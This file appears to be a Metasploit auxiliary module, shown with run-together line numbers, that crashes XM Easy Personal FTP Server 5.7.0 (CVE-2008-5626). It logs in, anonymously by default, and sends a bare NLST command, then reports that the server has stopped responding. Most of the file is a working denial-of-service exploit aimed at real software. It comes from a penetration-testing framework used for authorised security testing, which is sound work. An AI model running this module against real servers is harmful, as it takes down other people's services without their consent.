Path: blob/master/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Ftp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'XM Easy Personal FTP Server 5.7.0 NLST DoS',14'Description' => %q{15You need a valid login to DoS this FTP server, but16even anonymous can do it as long as it has permission17to call NLST.18},19'Author' => 'kris katterjohn',20'License' => MSF_LICENSE,21'References' => [22[ 'CVE', '2008-5626'],23[ 'OSVDB', '50837'],24[ 'EDB', '8294' ]25],26'DisclosureDate' => '2009-03-27',27'Notes' => {28'Stability' => [CRASH_SERVICE_DOWN],29'SideEffects' => [],30'Reliability' => []31}32)33)3435register_options([36OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ], fallbacks: ['USERNAME']),37OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ], fallbacks: ['PASSWORD'])38])39end4041def run42return unless connect_login4344raw_send("NLST\r\n")4546disconnect4748print_status("OK, server may still be technically listening, but it won't respond")49end50end515253